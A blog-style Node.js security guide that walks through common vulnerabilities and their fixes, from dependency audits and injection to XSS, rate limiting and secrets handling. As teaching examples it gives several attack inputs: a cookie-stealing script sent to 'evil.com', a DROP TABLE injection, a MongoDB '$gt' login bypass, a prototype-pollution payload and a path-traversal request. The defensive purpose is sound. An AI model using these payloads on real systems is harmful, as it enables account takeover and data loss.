Here is a fun holiday story: last December, a startup I was consulting for got hit by a credential stuffing attack on Christmas Eve. Their Node.js API had no rate limiting. Attackers tried 2.3 million username/password combinations in under an hour. By the time anyone noticed, 847 accounts were compromised.
Merry Christmas, indeed.
The thing is, this was entirely preventable. The fixes took me about four hours to implement. The cleanup took three weeks. That ratio should tell you everything about why security matters.
Let me walk you through the vulnerabilities I see most often in Node.js applications—and more importantly, how to fix them before you end up as someone's holiday cautionary tale.
The Dependency Problem: Your node_modules Folder Is a Minefield
Here is a number that should terrify you: the average Node.js application has 1,200 dependencies when you count transitive ones. Each of those is a potential attack vector.
Auditing Your Dependencies
npm includes a built-in audit tool, and you should be running it constantly:
npm audit # For a detailed report npm audit --json > audit-report.json # Fix what can be automatically fixed npm audit fix
But here is the catch: npm audit fix can only handle simple version bumps. When a vulnerability requires a major version change, you are on your own.
I run audits in CI/CD pipelines and fail builds on high-severity vulnerabilities:
# .github/workflows/security.yml - name: Security Audit run: | npm audit --audit-level=high
The left-pad Lesson: Dependency Minimalism
Remember left-pad? In 2016, a developer unpublished an 11-line package and broke half the internet. The lesson is not about npm's policies—it is about dependency hygiene.
Before adding a dependency, I ask three questions:
- Can I write this myself in under 50 lines?
- How many downloads does this package have?
- When was it last updated, and by whom?
That fancy date formatting library with 17 weekly downloads and no updates in two years? Hard pass. I have seen supply chain attacks target exactly these forgotten packages.
Lock Files Are Not Optional
Your package-lock.json is a security feature, not a nuisance. It ensures everyone on your team—and your CI/CD pipeline—gets the exact same dependency versions.
# Always use ci in production deployments npm ci
The npm ci command is stricter than npm install. It deletes node_modules and installs exactly what is in the lock file. No surprises.
Input Sanitization: Trust No One, Especially Users
The first rule of security: never trust user input. The second rule: no, seriously, never trust user input.
SQL Injection Is Still Happening
You would think we would have solved SQL injection by now. We have not. I still find code like this in production:
// NEVER DO THIS const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
An attacker sends id as 1; DROP TABLE users; -- and suddenly your user table is gone. Classic, devastating, and entirely preventable.
Use parameterized queries:
// With pg (PostgreSQL) const result = await pool.query( 'SELECT * FROM users WHERE id = $1', [req.params.id] ); // With mysql2 const [rows] = await connection.execute( 'SELECT * FROM users WHERE id = ?', [req.params.id] );
If you are using an ORM like Prisma or Sequelize, you are protected by default—but watch out for raw query methods.
NoSQL Injection: The MongoDB Gotcha
"We use MongoDB, so we are safe from injection." I have heard this more times than I can count, and it is dangerously wrong.
// Vulnerable code const user = await User.findOne({ username: req.body.username, password: req.body.password });
An attacker sends:
{ "username": "admin", "password": { "$gt": "" } }
That $gt operator matches any password that is greater than empty string—which is all of them. The attacker just logged in as admin.
The fix: validate and sanitize input types:
import { z } from 'zod'; const loginSchema = z.object({ username: z.string().min(3).max(50), password: z.string().min(8) }); const { username, password } = loginSchema.parse(req.body);
Zod, Joi, or Yup—pick your validator and use it religiously.
XSS: The Attack That Keeps Giving
Cross-Site Scripting (XSS) happens when attackers inject malicious scripts into your pages. In a Node.js context, this usually means unsanitized data rendered in templates:
// Dangerous EJS template <div><%= userData.bio %></div>
If userData.bio contains <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>, you have just handed over your users' session cookies.
Sanitize HTML with a library like DOMPurify or sanitize-html:
import sanitizeHtml from 'sanitize-html'; const cleanBio = sanitizeHtml(userData.bio, { allowedTags: ['b', 'i', 'em', 'strong', 'p'], allowedAttributes: {} });
Helmet.js: Security Headers Made Easy
HTTP security headers are your first line of defense, and helmet.js makes them trivial to implement:
import express from 'express'; import helmet from 'helmet'; const app = express(); app.use(helmet());
That single line adds a dozen security headers. Let me break down what you are getting.
Content Security Policy
CSP tells browsers which sources are allowed to load content. It is your best defense against XSS:
app.use(helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "https://trusted-cdn.com"], styleSrc: ["'self'", "'unsafe-inline'"], // Avoid if possible imgSrc: ["'self'", "data:", "https:"], connectSrc: ["'self'", "https://api.yourservice.com"], frameSrc: ["'none'"], objectSrc: ["'none'"] } }));
Start strict and loosen only as needed. Every exception is a potential attack vector.
Other Critical Headers
Helmet sets these automatically, but understanding them matters:
- X-Content-Type-Options: nosniff - Prevents MIME type sniffing attacks
- X-Frame-Options: DENY - Prevents clickjacking via iframes
- Strict-Transport-Security - Enforces HTTPS
- X-XSS-Protection - Legacy XSS filter (mostly obsolete with good CSP)
Rate Limiting: Slow Down the Bad Guys
Remember that Christmas Eve attack I mentioned? Rate limiting would have stopped it cold.
import rateLimit from 'express-rate-limit'; const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 5, // 5 attempts per window message: { error: 'Too many login attempts. Try again in 15 minutes.' }, standardHeaders: true, legacyHeaders: false, }); app.post('/api/login', authLimiter, loginController);
For APIs, I typically use tiered rate limiting:
// General API rate limit const apiLimiter = rateLimit({ windowMs: 60 * 1000, // 1 minute max: 100 }); // Stricter limit for expensive operations const searchLimiter = rateLimit({ windowMs: 60 * 1000, max: 10 }); app.use('/api/', apiLimiter); app.use('/api/search', searchLimiter);
Distributed Rate Limiting
The basic rate limiter uses memory storage, which does not work across multiple server instances. For production, use Redis:
import RedisStore from 'rate-limit-redis'; import Redis from 'ioredis'; const redisClient = new Redis(process.env.REDIS_URL); const limiter = rateLimit({ store: new RedisStore({ client: redisClient, prefix: 'rl:' }), windowMs: 60 * 1000, max: 100 });
Environment Variables: Secrets Management Done Right
I once found AWS credentials hardcoded in a public GitHub repository. The commit was 18 months old. The credentials were still active. The bill for unauthorized crypto mining? $47,000.
Never Commit Secrets
Your .gitignore should include:
.env
.env.local
.env.*.local
*.pem
*.key
But .gitignore does not help if the secret was committed before you added the rule. Use a tool like git-secrets or gitleaks to scan for accidental commits:
# Install git-secrets brew install git-secrets # Set up hooks git secrets --install git secrets --register-aws # Scan existing history git secrets --scan-history
Validating Environment Variables
Do not just trust that environment variables exist—validate them at startup:
import { z } from 'zod'; const envSchema = z.object({ NODE_ENV: z.enum(['development', 'production', 'test']), DATABASE_URL: z.string().url(), JWT_SECRET: z.string().min(32), API_KEY: z.string().min(20), }); const env = envSchema.parse(process.env); export default env;
If a required variable is missing, the application crashes immediately with a clear error. Much better than failing mysteriously in production.
Secrets in Production
For production deployments, use proper secrets management:
- AWS Secrets Manager or Parameter Store
- HashiCorp Vault
- Doppler or Infisical for smaller teams
Never pass secrets through command line arguments—they show up in process listings.
Common Node.js Security Mistakes
Let me rapid-fire through mistakes I see constantly.
Prototype Pollution
JavaScript's prototype chain can be weaponized:
// Vulnerable merge function function merge(target, source) { for (let key in source) { target[key] = source[key]; } } // Attacker sends: // { "__proto__": { "isAdmin": true } }
Suddenly every object in your application has isAdmin: true. Delightful.
The fix: validate keys and use Object.create(null) for dictionaries:
function safeMerge(target, source) { for (let key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; } target[key] = source[key]; } }
Or better yet, use a library like lodash with prototype pollution fixes.
Path Traversal
// DANGEROUS app.get('/files/:filename', (req, res) => { res.sendFile(`/uploads/${req.params.filename}`); });
An attacker requests /files/../../etc/passwd and gets your system's password file.
// SAFE import path from 'path'; app.get('/files/:filename', (req, res) => { const filename = path.basename(req.params.filename); const filepath = path.join(__dirname, 'uploads', filename); // Verify the resolved path is within uploads directory if (!filepath.startsWith(path.join(__dirname, 'uploads'))) { return res.status(403).send('Access denied'); } res.sendFile(filepath); });
Timing Attacks on String Comparison
Comparing secrets with === leaks timing information:
// Vulnerable if (userToken === secretToken) { // Authenticated }
Use constant-time comparison for secrets:
import crypto from 'crypto'; function safeCompare(a, b) { if (a.length !== b.length) { return false; } return crypto.timingSafeEqual(Buffer.from(a), Buffer.from(b)); }
Insecure Session Configuration
// Dangerous defaults app.use(session({ secret: 'keyboard cat', // Weak secret cookie: {} // Missing security flags })); // Secure configuration app.use(session({ secret: process.env.SESSION_SECRET, // Strong, random secret name: 'sessionId', // Don't use default 'connect.sid' cookie: { httpOnly: true, // Prevents JavaScript access secure: true, // HTTPS only sameSite: 'strict', // CSRF protection maxAge: 3600000 // 1 hour }, resave: false, saveUninitialized: false }));
A Security Checklist for Node.js Applications
Before deploying any Node.js application, I run through this checklist:
- Run
npm auditwith zero high-severity vulnerabilities - All user input validated with Zod/Joi
- Parameterized queries for all database operations
- Helmet.js configured with strict CSP
- Rate limiting on authentication and expensive endpoints
- Environment variables validated at startup
- No secrets in code or git history
- HTTPS enforced with HSTS header
- Session cookies are httpOnly, secure, and sameSite
- Error messages do not leak stack traces in production
Conclusion: Security Is a Process
Here is the uncomfortable truth: security is never "done." New vulnerabilities are discovered daily. Dependencies get compromised. Attack techniques evolve.
The goal is not perfect security—it is making your application hard enough to attack that bad actors move on to easier targets. Implement the fundamentals I have outlined here, and you will be ahead of 90% of Node.js applications in the wild.
Run your audits. Validate your inputs. Use helmet. Add rate limiting. Manage your secrets properly.
And maybe, just maybe, you will not be the one getting paged on Christmas Eve.
Stay safe out there.
